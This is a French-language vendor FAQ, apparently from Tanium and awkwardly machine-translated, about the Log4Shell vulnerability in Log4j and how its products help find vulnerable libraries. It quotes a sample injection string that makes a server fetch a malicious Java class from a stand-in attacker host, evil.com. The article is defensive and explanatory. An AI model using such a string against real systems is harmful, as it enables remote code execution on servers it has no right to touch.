Le monde informatique a été abandonné fin 2021 après la divulgation d’une vulnérabilité critique en Log4j, un utilitaire de journalisation basé sur Java commun géré par l’Apache Software Foundation. Quasiment inconnu en dehors du secteur, il est utilisé dans des milliers de programmes à l’échelle mondiale sur plusieurs systèmes d’exploitation. Avec un score CVSS de 10,0, le premier bug trouvé dans le produit (“Log4Shell”) est aussi mauvais qu’une vulnérabilité peut avoir. En fait, Log4j a été ciblé dans plus de 800 000 attaques dans les 72 heures suivant la publication de la vulnérabilité.
En raison de l’immense affluence de publicité sur la vulnérabilité, les experts Tanium ont été inondés de questions. Qu’est-ce que Log4Shell ? Comment peut-il être exploité ? Et comment les organisations peuvent-elles réagir ? Pour gagner du temps et aider les organisations du monde entier à répondre et à atténuer les problèmes, nous avons recueilli les questions les plus courantes que nous avons vues et nos réponses correspondantes ci-dessous.
Qu’est-ce que CVE-2021-44228 (Log4Shell) ?
Log4Shell est une vulnérabilité d’exécution de code à distance (Remote Code Execution, RCE) qui permet à un pirate d’exécuter du code en provoquant l’écriture d’une application dans le fichier journal. Les paramètres saisis dans un champ de texte d’application et d’autres événements de journalisation sont courants, ce qui explique en partie pourquoi la vulnérabilité est si répandue.
La bibliothèque vulnérable peut être présente dans les systèmes client et n’est pas limitée aux applications Web publiques.
Les aspects techniques
Par conception, Log4j permet aux messages de contenir des références à des informations externes via une API appelée JNDI, l’interface de dénomination et de répertoire Java. La fonctionnalité JNDI permet d’accéder à ces références externes sur plusieurs protocoles, y compris le protocole LDAP (Lightweight Directory Access Protocol).
Lorsqu’un pirate envoie une chaîne fabriquée de manière malveillante telle que ${jndi :ldap ://evil.com/bad}, le serveur interprète ce message pour contacter le serveur LDAP (evil.com) et demander le « mauvais » objet. Le serveur evil.com, contrôlé par un attaquant malveillant, dirigera ensuite l’application pour charger une classe Java malveillante (mauvaise.classe).
Lorsque la version Log4j vulnérable est présente et que l’attaquant contrôle un serveur LDAP, bad.class peut contenir toutes les instructions que l’attaquant souhaite, ouvrant la porte à un large éventail d’attaques possibles, des ransomwares au cryptojacking et au vol d’informations.
En plus du RCE, les versions vulnérables ne valident pas l’entrée de l’appel JNDI, ce qui peut entraîner l’exposition des variables système à l’énumération et à l’exfiltration.
Il y a eu une augmentation des vulnérabilités de la chaîne d’approvisionnement logicielle (par ex., Struts, NPM). Comment le module Log4J s’empile-t-il ?
Log4J est similaire car il s’agit d’une vulnérabilité que les organisations ne peuvent pas corriger elles-mêmes, sauf s’il s’agit d’une application construite et gérée en interne.
Log4J est différent car il s’agit probablement de la vulnérabilité la plus étendue et la plus grave que nous ayons vue depuis au moins dix ans et elle ne disparaît pas de sitôt. Elle affecte tous les types de systèmes d’exploitation, peut être dans des logiciels gratuits/open source, des applications d’entreprise, des clients, des serveurs, des appareils IdO, presque n’importe où. Il peut être exploité à distance, exploité pour les mouvements latéraux et la détection de l’exploitation repose sur des règles basées sur la signature que les attaquants contournent systématiquement.
Les organisations ont été obligées d’identifier ce qui est vulnérable dans leur domaine, puis de rechercher la documentation des propriétaires/développeurs d’applications pour obtenir un correctif ou une atténuation et le déployer à grande échelle.
Quelles sont les idées fausses courantes concernant Log4j ?
- Il est facile de corriger
- Cela n’affecte que les systèmes connectés à Internet
- Les organisations peuvent corriger toutes les instances de la vulnérabilité elles-mêmes
- La recherche de listes d’applications installées seule suffit à l’identifier
Comment Tanium peut-il aider à trouver Log4j instances ?
Une partie de la raison pour laquelle Log4Shell est si dangereux est que Log4j peut être difficile à trouver.
Les organisations peuvent avoir des centaines de programmes installés dans leur environnement qui exploitent cette bibliothèque. Étant donné que la vulnérabilité existe dans la bibliothèque utilisée par l’application, ils ne peuvent pas modifier l’application elle-même. Ils doivent attendre que les fournisseurs de tous leurs logiciels évaluent, corrigent et émettent des mises à jour. De plus, une analyse des applications installées ou des CVE n’affichera pas de preuves des packages logiciels qui utilisent cette bibliothèque.
Tanium Reveal est unique dans sa capacité à extraire des informations des fichiers. Il peut détecter manifest.mf, pom.xml ou d’autres indications de présence de Log4j à l’intérieur des bibliothèques compressées. De cette manière, Tanium Reveal est la seule solution qui peut aller au-delà d’un nom de fichier ou d’une extension et dans le fichier lui-même. Dans le cas du CVE-2021-44228, nous pouvons rechercher des pots vulnérables (fichiers .JAR) à l’intérieur des pots à l’intérieur.
Tanium et nos partenaires peuvent afficher aux clients Log4j instances qui sont latentes ou cachées d’autres outils. Pour vous aider, nous offrons une aide gratuite aux clients nouveaux ou existants pour remédier et identifier la vulnérabilité.
Que doit faire une organisation lorsque Reveal trouve une correspondance possible ?
Tanium Reveal vous montrera des fichiers avec des correspondances des modèles, mais ce n’est pas une indication parfaite de vulnérabilité. Les techniques de validation des PHI ou PII dans Reveal peuvent être examinées ici et dans cette documentation. Une correspondance de version Log4j peut ne pas nécessiter une validation approfondie.
Cependant, si nécessaire, vous pouvez passer rapidement de Reveal results à action pour trouver le produit dont provient un fichier suspect, vérifier la vulnérabilité de ce fournisseur et décider si vous devez le corriger ou le supprimer.
Tanium dispose de plusieurs options pour approfondir et identifier les résultats vrais/faux. Il s’agit de suggestions pour des choses qui sont possibles, mais qui ne sont pas exhaustives, et qui dépendront fortement de l’environnement de l’organisation et des workflows/politiques/processus existants.
Il est important de noter qu’il ne s’agit pas tant d’une réponse aux incidents qu’une situation de chasse aux menaces. Les étapes suivantes dépendront fortement des résultats d’une organisation affectée. SANS dispose ici d’une excellente triche sur le modèle PICERL pour la réponse aux incidents . Selon ce modèle, Tanium Reveal et Index font partie des étapes de préparation et d’identification.
Comment le scanner CISA peut-il vous aider ?
Le 21 décembre 2021, CISA a publié une version d’un outil de scanner Log4j open source, créé à l’origine par fullhunt.io. Bien que utile, le scanner ne fonctionnera que si vous le pointez vers un emplacement avec un endpoint vulnérable et une écoute d’application. Il pourrait encore manquer des endpoints vulnérables en raison des conjectures sur la manière dont les systèmes sont configurés.
Même si les organisations souhaitent tirer parti de cet outil, elles doivent toujours utiliser Tanium Reveal pour mieux clarifier la liste des endpoints qu’elles souhaitent tester. Ils doivent également savoir que ce scanner ne détectera pas les fichiers .JAR vulnérables sur disque ou dans les sauvegardes, ou ceux qui ne s’exécutent pas au moment de l’analyse.
De plus, le scanner n’offre pas d’opportunités d’atténuer ou de déployer des correctifs mis à jour pour les applications vulnérables. Il s’agit d’un autre outil important pour aider à résoudre le problème Log4j , mais il ne doit pas être considéré comme une méthode faisant autorité ou holistique.
Qu’est-ce qui rend l’analyse des vulnérabilités inefficace seule ?
- Les mises à jour des définitions prennent du temps, et ces définitions dépendent de la divulgation du statut de vulnérabilité par les fournisseurs de logiciels
- Il est souvent basé sur des applications vulnérables connues. Log4j, comme d’autres bibliothèques, nécessitera une recherche approfondie des couches de logiciels dans votre environnement pour identifier en toute confiance
- De nombreux scanners de vulnérabilité utilisent une méthode de « pulvérisation et de prière » pour l’exploitation bénigne de la vulnérabilité. Cela n’est que partiellement efficace. Cela nécessite que le service vulnérable écoute le port que vous scannez. Si l’application est inactive sur le disque, ces scanners ne la détecteront pas.
Comment savez-vous quand vous avez atténué la vulnérabilité Log4j ?
Une fois que vous aurez déployé tous les correctifs pour toutes les instances du logiciel, mais d’ici là, il y aura inévitablement de nouvelles vulnérabilités à corriger. Il est important de considérer la sécurité comme un processus, et non comme une liste de contrôle ou une tâche que vous pouvez barrer comme « terminée ». Le paysage des menaces continue d’évoluer. Chaque fois qu’un nouvel actif rejoint votre réseau, et chaque fois qu’un chercheur identifie un nouveau bug, vous aurez plus à faire. C’est pourquoi la capacité à répondre dynamiquement est essentielle. Changez la culture en permettant aux applications obsolètes de vivre parce qu’elles sont « critiques ». Nous devons accepter le changement et non le risque. L’acceptation des risques est une stratégie qui vous laisse le temps de coordonner le changement, et non un état perpétuel.
Combien de temps faut-il pour savoir que vous êtes exposé ?
Les organisations peuvent déployer Tanium Reveal en quelques heures et commencer immédiatement à recueillir des résultats qu’elles peuvent ensuite utiliser pour faire pivoter leur enquête et leur stratégie de recherche.
Puis-je utiliser un partenaire pour utiliser Tanium dans la découverte ou la remédiation de Log4j ?
Oui. La plupart des partenaires Tanium du monde entier ont déjà été informés et sont prêts à fournir des services pour aider à tout aspect de la découverte ou de la remédiation Log4j ou pour aider à mieux optimiser la pile de sécurité grâce à la consolidation et à la rationalisation des outils.
Comment d’autres personnes peuvent-elles révéler de l’aide ?
Tanium Reveal peut aider à découvrir et à remédier à Log4j en :
- Détection des mots de passe exposés
- Mener une chasse dynamique
Que dois-je savoir sur l’avertissement de la FTC sur Log4j ?
La Federal Trade Commission (FTC) a émis des exigences selon lesquelles toutes les entreprises doivent analyser et remédier à cette vulnérabilité, car elle est aussi mauvaise ou pire que le bug dans Apache Struts, qui a causé la tristement célèbre violation d’Equifax. La FTC et la CISA reconnaissent que nous sommes en temps emprunté jusqu’à ce qu’une violation qui fait la une des journaux soit découverte.
Il est probable que les organisations mondiales aient déjà été compromises via Log4Shell et que les attaquants analysent secrètement leurs réseaux, exfiltrent les données et mettent en place des attaques supplémentaires. Il faudra longtemps avant que nous ne réalisions le véritable impact de cette vulnérabilité.
Si vous avez d’autres questions sur Log4j ou si vous souhaitez profiter de notre service gratuit pour aider à identifier cette vulnérabilité, contactez-nous dès aujourd’hui.
Les clients existants peuvent trouver des informations plus détaillées sur la manière de trouver et d’atténuer Log4j dans notre article de la communauté Tanium. Ces informations sont mises à jour régulièrement à mesure que de nouvelles informations deviennent disponibles.
